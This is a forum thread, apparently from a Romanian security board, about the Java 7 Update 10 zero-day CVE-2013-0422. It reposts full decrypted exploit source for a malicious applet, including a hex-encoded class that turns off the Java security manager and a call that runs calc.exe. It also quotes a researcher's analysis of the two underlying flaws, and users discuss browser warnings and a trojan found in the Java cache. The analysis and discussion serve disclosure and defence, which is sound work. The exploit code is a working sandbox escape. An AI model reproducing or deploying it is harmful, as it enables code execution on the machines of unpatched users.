Jump to content
Nytro

Java 0day (CVE-2013-0422) 1.7u10

Recommended Posts

Detalii:

New year, new Java zeroday! - AlienVault Labs

Malware don't need Coffee: 0 day (CVE-2013-0422) 1.7u10 spotted in the Wild - Disable Java Plugin NOW !

http://pastebin.com/raw.php?i=cUG2ayjh

Exploit Packs updated with New Java Zero-Day vulnerability - Hacking News

/*
Java 0day 1.7.0_10 decrypted source
Originaly placed on https://damagelab.org/index.php?showtopic=23719&st=0
From Russia with love.
*/

import java.applet.Applet;

import com.sun.jmx.mbeanserver.JmxMBeanServer;

import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;

import com.sun.jmx.mbeanserver.MBeanInstantiator;

import java.lang.invoke.MethodHandle;

import java.lang.invoke.MethodHandles;

import java.lang.invoke.MethodType;

import java.lang.reflect.Method;





public byte[] hex2Byte(String paramString)

{

byte[] arrayOfByte = new byte[paramString.length() / 2];

for (int i = 0; i < arrayOfByte.length; i++)

{

arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16);

}



return arrayOfByte;

}

public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001
00063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C6501
00124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F4578
63657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F
07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F757263
6546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F
457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A65637401000142
0100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E41637469
6F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F
50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C6567656445
7863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176
612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A
6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000
020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100
040009000C00030003000B000000120004000000080004000B0009000C000D000D000C0000001600
02000D0000000D000E00010000000E000F001000000011000000100002FF000C0001070012000107
0013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B0000000
02000B0000000A00020000001000040011000C0000000C00010000000C000F001000000001001600
0000020017";



public void init()

{

try

{



byte[] arrayOfByte = hex2Byte(ByteArrayWithSecOff);

JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();

JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);

MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();

ClassLoader a = null;

Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);

Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);

MethodHandles.Lookup localLookup = MethodHandles.publicLookup();

MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });

MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);

MethodType localMethodType2 = MethodType.methodType(Void.TYPE);

MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });

Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);

MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });

MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);

MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);

MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });

Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });

MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });

MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });

Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, arrayOfByte });

localClass3.newInstance();





Runtime.getRuntime().exec("calc.exe");



}

catch (Throwable ex) {}

}

}

Link to comment
Share on other sites

Nu inteleg de ce se face atata scandal pe seama asta, trebuie sa fii cap de tanc sa dai click pe asta:

1424hlt.png

Apoi sa dai Run:

16geox.png

Ca apoi sa existe posibilitatea sa nu functioneze:

1zwytsi.png

Singurul browser care nu te avertizeaza ca vei executa cod Java e Opera (cel putin versiunea pe care o am eu) insa fereastra cu "Run", pe langa avertismentele oferite de celalalte browsere care cer permisiunea utilizatorului, apare intotdeauna.

Link to comment
Share on other sites

This write up documents an analysis of the current Java zero-day floating around that affects version 7 update 10.

Hello All,

We were notified today of ongoing attacks with the use of a new
Java vulnerability affecting latest version 7 Update 10 of the
software [1][2].

Due to the unpatched status of Issue 50 [3] and some inquiries
received regarding whether the attack code found exploited this
bug, we had a quick look at the exploit code found in the wild.
Below, we are providing you with the results of our analysis.

The 0-day attack code that was spotted in the wild today is yet
another instance of Java security vulnerabilities that stem from
insecure implementation of Reflection API [4].

The new attack is a combination of two vulnerabilities. The first
flaw allows to load arbitrary (restricted) classes by the means
of findClass method of com.sun.jmx.mbeanserver.MBeanInstantiator
class. This can be accomplished by the means of this code:

public static Class loadClass(String name) throws Throwable {
JmxMBeanServerBuilder jmxbsb=new JmxMBeanServerBuilder();
JmxMBeanServer
jmxbs=(JmxMBeanServer)jmxbsb.newMBeanServer("",null,null);
MBeanInstantiator mbi=jmxbs.getMBeanInstantiator();

return mbi.findClass(name,(ClassLoader)null);
}

The problem stems from insecure call to Class.forName() method.

The second issue abuses the new Reflection API to successfully
obtain and call MethodHandle objects that point to methods and
constructors of restricted classes. This second issue relies on
invokeWithArguments method call of java.lang.invoke.MethodHandle
class, which has been already a subject of a security problem
(Issue 32 that we reported to Oracle on Aug 31, 2012).

The company had released a fix for Issue 32 in Oct 2012. However,
it turns out that the fix was not complete as one can still abuse
invokeWithArguments method to setup calls to invokeExact method
with a trusted system class as a target method caller. This time
the call is however done to methods of new Reflection API (from
java.lang.invoke.* package), of which many rely on security checks
conducted against the caller of the target method.

Oracle's fix for Issue 32 relies on a binding of the MethodHandle
object to the caller of a target method / constructor if it denotes
a potentially dangerous Reflection API call. This binding has a
form of injecting extra stack frame from a caller's Class Loader
namespace into the call stack prior to issuing a security sensitive
method call. Calls to blacklisted Reflection APIs are detected with
the use of isCallerSensitive method of MethodHandleNatives class.
The blacklisting however focuses primarily on Core Reflection API
(Class.forName(), Class.getMethods(), etc.) and does not take into
account the possibility to use new Reflection API calls. As a result,
the invokeWithArguments trampoline used in the context of a system
(privileged) lookup object may still be abused for gaining access to
restricted classes, their methods, etc.

The above is important in the context of a security check that is
implemented by the Lookup class. Its checkSecurityManager method
compares the Class Loader (CL) namespace of the caller class of a
target find
[*] method (findStatic, findVirtual, etc.) with the CL
namespace of a class for which a given find operation is conducted.
Access to restricted packages is not checked only if Class Loader
namespaces are equal (the case for public lookup object, but also
for a trusted method caller such as invokeWithArguments invoked for
not blacklisted method).

The exploit vector used by the attack code is the same as the one
we used for second instance of our Proof of Concept code for Issue
32 (reported to Oracle on 17-Sep-2012). This exploit vector relies
on sun.org.mozilla.javascript.internal.GeneratedClassLoader class
in order to define a fully privileged attacker's class in a system
Class Loader namespace. From that point all security checks can be
easily disabled.

This is not the first time Oracle fails to "sync" security of Core
and new Reflection APIs. Just to mention the Reflection API filter.

This is also not the first time Oracle's own investigation / analysis
of security issues turns out to be not sufficiently comprehensive.
Just to mention Issue 50, which was discovered in the code addressed
by the company not so long ago...

Bugs are like mushrooms, in many cases they can be found in a close
proximity to those already spotted. It looks Oracle either stopped
the picking too early or they are still deep in the woods...

Thank you.

Best Regards
Adam Gowdiak

---------------------------------------------
Security Explorations
http://www.security-explorations.com
"We bring security research to the new level"
---------------------------------------------

References:
[1] Malware don't need Coffee: 0 day 1.7u10 spotted in the Wild -
Disable Java Plugin NOW !

http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html
[2] New year, new Java zeroday!

http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/
[3] [SE-2012-01] Critical security issue affecting Java SE 5/6/7
http://seclists.org/fulldisclosure/2012/Sep/170
[4] SE-2012-01 Details
http://www.security-explorations.com/en/SE-2012-01-details.html

Via: Java Zero-Day Analysis ? Packet Storm

Link to comment
Share on other sites

OK, eu nu am dat click pe asa ceva, si totusi la un scan am gasit asta:

C:\Documents and Settings\x\Local Settings\Application Data\Sun\Java\Deployment\cache\6.0\32\36f4a60-3f4398c3 » ZIP » BPgojjm.class - a variant of Java/Exploit.CVE-2013-1493.M trojan

C:\Documents and Settings\x\Local Settings\Application Data\Sun\Java\Deployment\cache\6.0\32\36f4a60-3f4398c3 » ZIP » oalWuXFFT.class - a variant of Java/Exploit.Agent.NQG trojan

dejactivarea jave e de ajuns?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...